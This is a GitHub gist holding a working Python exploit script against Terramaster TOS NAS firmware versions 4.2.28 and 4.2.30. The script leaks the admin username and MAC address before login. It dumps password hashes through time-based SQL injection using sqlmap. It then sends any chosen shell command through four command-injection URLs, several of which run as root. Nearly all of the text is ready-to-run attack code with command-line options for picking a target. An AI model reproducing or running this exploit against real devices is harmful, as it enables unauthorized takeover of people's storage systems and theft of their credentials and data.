SQLi and RCEs for Terramaster 4.2.28 and 4.2.30
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/env python3 | |
#Title: Terramaster TOS Time based SQLi & Multiple RCEs | |
#Description: time based SQLinjection pre-auth and multiple authenticated RCEs. | |
#Author: n0tme (thatsn0tmysite) | |
#TOS version: 4.2.28-2201201720, 4.2.30-2203011629 | |
#Full writeup: https://thatsn0tmy.site/posts/2022/03/all-you-can-pwn-buffet/ | |
from pydoc import describe | |
import requests | |
import shutil, os, time | |
from argparse import ArgumentParser | |
import urllib3 | |
import base64, hashlib, re | |
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) | |
USER="" | |
PASS="" | |
B64USER="" | |
TARGET="" | |
MAC_ADDRESS="" | |
RE=re.compile(r'(?:[0-9a-fA-F]:?){12}') | |
def tos_encrypt_str(toencrypt): | |
key = MAC_ADDRESS[6:] | |
return hashlib.md5(f"{key}{toencrypt}".encode("utf8")).hexdigest() | |
def get_session(use_proxy): | |
s=requests.Session() | |
if use_proxy is not None: | |
s.proxies = {"http":use_proxy, "https": use_proxy} | |
return s | |
def user_session(s, username, password_hash): | |
s.cookies.clear() | |
cookies = {"kod_name":username, "kod_token":tos_encrypt_str(password_hash), "tos_token":None} | |
timestamp=str(int(time.time())) | |
s.headers.update({"signature": tos_encrypt_str(timestamp), "timestamp": timestamp}) | |
s.headers.update({"User-device": "TNAS"}) | |
s.headers.update({"User-agent": "TNAS"}) | |
for name,value in cookies.items(): | |
s.cookies[name] = value | |
def exploit(s, username, password_hash, rce, command): | |
user_session(s, USER, password_hash) | |
s.headers.update({"authorization": hashlib.sha256(password_hash.encode("ascii")).hexdigest()}) | |
if rce == 2: | |
s.headers.update({"authorization": password_hash}) | |
print("[*] Session info:") | |
for k,v in s.headers.items(): | |
print("\t"+k+": "+v) | |
print("\t"+"Cookie: ", end="") | |
for k,v in s.cookies.items(): | |
print(k+": "+v+"; ",end="") | |
print() | |
print("[*] Logging in... ",end="") | |
r=s.get(f"{TARGET}/module/api.php?mobile/login&username={USER}&password={PASS}") | |
result=r.json()["msg"] | |
print(result) | |
if result != "login successful": | |
print("[!] Login failed.") | |
exit(1) | |
#RCEs | |
RCEs = [ | |
#HASH is not really required for the first 2, but i was too lazy... | |
f"{TARGET}/tos/index.php?explorer/serverDownload&type=download&save_path=%5C&url=';{command};'&_", #NEEDS USER CREDS -> runs as user | |
f"{TARGET}/include/ajax/ajaxdata.php?mysqlfunction=1&password=%7C%7C%20{command}", #NEEDS ADMIN CREDS -> runs as root | |
#REQUIRE MAC ADDRESS AND CREDENTIALS | |
f"{TARGET}/module/api.php?wap/serverstatus&servername=';{command};'", #NEEDS USER CREDS, ADMIN HASH -> runs as root | |
f"{TARGET}/module/api.php?mobile/stopTranscode&md5name=';{command};'" #NEEDS USER CREDS, USER HASH -> runs as root | |
] | |
print(f"[~] Using: {RCEs[rce]}") | |
r=s.get(RCEs[rce]) | |
print(r.text) | |
if __name__ == "__main__": | |
meow=" ^ ^\n (-.-) ...copycats...\n~( ||)" | |
parser = ArgumentParser() | |
parser.add_argument("target", help="Target to exploit") | |
parser.add_argument("-c", "--cmd", action="store", default="id", help="Command to run") | |
parser.add_argument("-u", "--username", action="store", default=None, help="Username to log in with") | |
parser.add_argument("-p", "--password", action="store", default=None, help="Password to log in with") | |
parser.add_argument("-g","--get-hash", action="store_true", default=None, help="Retrieve hash and quit (if no --username specified, attempts to grab USER's hash)") | |
parser.add_argument("-H", "--hash", action="store", default=None, help="Retrieved hash") | |
parser.add_argument("--rce", action="store", type=int, default=1, help="RCE to use (--list for info)") | |
parser.add_argument("--list", action="store_true", default=False, help="List available RCEs and info") | |
parser.add_argument("--proxy", action="store", default=None, help="Proxy address to use (e.g. http://localhost:8080)") | |
parser.add_argument("--sqlmap-path", action="store", default=shutil.which("sqlmap"), help="Path to sqlmap") | |
parser.add_argument("--sqlmap-time", action="store", type=int, default=1, help="Passed as --time-sec to sqlmap") | |
args=parser.parse_args() | |
if args.list: | |
print("[-] RCEs:") | |
print("\t0: Needs user credentials only (* +user hash). Runs as user.") | |
print("\t1: Needs admin credentials only (* +admin hash). Runs as root.") | |
print("\t2: Needs user credentials AND admin hash. Runs as root.") | |
print("\t3: Needs user credentials AND user hash. Runs as root. WILL BREAK THINGS.") | |
print("\n* Even if 0 and 1 do not really require a hash, provide a valid one as otherwise the login fails, lazy me.") | |
exit(0) | |
if args.sqlmap_path is None and (args.users_table is None or args.credentials is None): | |
print("[!] Could not find sqlmap on the system, to install it: 'pip install sqlmap'") | |
exit(1) | |
s = get_session(args.proxy) | |
TARGET = args.target | |
if args.username is None: | |
#ADMIN USER INFO DISCLOSURE | |
USER = s.get(f"{TARGET}/v1/SessionEvents/update").json()["data"]["USER"] | |
B64USER = str(base64.b64encode(USER.encode("utf8")), encoding="utf8") | |
print(f"[*] Found ADMIN user: {USER} ({B64USER})") | |
else: | |
USER = args.username | |
B64USER = str(base64.b64encode(USER.encode("utf8")), encoding="utf8") | |
print(f"[*] Using provided USER: {USER} ({B64USER})") | |
if args.get_hash: | |
#Too lazy to manually implement this, so I'll just use sqlmap | |
#SQL Injection (Double Blind) | |
cmd=f"{args.sqlmap_path} -u \"{args.target}/tos/index.php?user/loginSubmit&name=sqli&password=n0t&platform=me\" --batch --dbms=sqlite --level=5 --risk=2 --technique=t -p name -T user_table -C password --dump --time-sec {args.sqlmap_time} --where \"username='{B64USER}'\"" | |
print(f"[.] Launching sqlmap (may take a while): {cmd}") | |
os.system(cmd) | |
print("[.] If dump was successfull re-run exploit with -H or --hash") | |
print("[.] Check for hash in STDOUT or ~/.local/share/sqlmap/output/<TARGET>/dump/SQLite_masterdb/user_table.csv") | |
print("[.] Here, hava a cat judging you:") | |
print(meow) | |
exit(0) | |
#MAC INFO DISCLOSURE | |
try: | |
MAC_ADDRESS = RE.findall(s.get(f"{TARGET}/m1.php").text)[0].replace(":","") | |
except IndexError: | |
try: | |
MAC_ADDRESS = RE.findall(s.get(f"{TARGET}/m2.php").text)[0].replace(":","") | |
except IndexError: | |
print("[!] MAC not found.") | |
exit(1) | |
print(f"[*] Found MAC: {MAC_ADDRESS}") | |
PASS = args.password | |
HASH = args.hash | |
if PASS == "": | |
print("[!] User password is required to launch exploit, use --password.") | |
exit(1) | |
if HASH == "": | |
print("[!] User hash is required to launch exploit, use -g or --get-hash to get a valid hash.") | |
exit(1) | |
print(f"[*] Using password: {PASS}") | |
print(f"[*] Using hash: {args.hash}") | |
exploit(s, USER, args.hash, args.rce, args.cmd) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment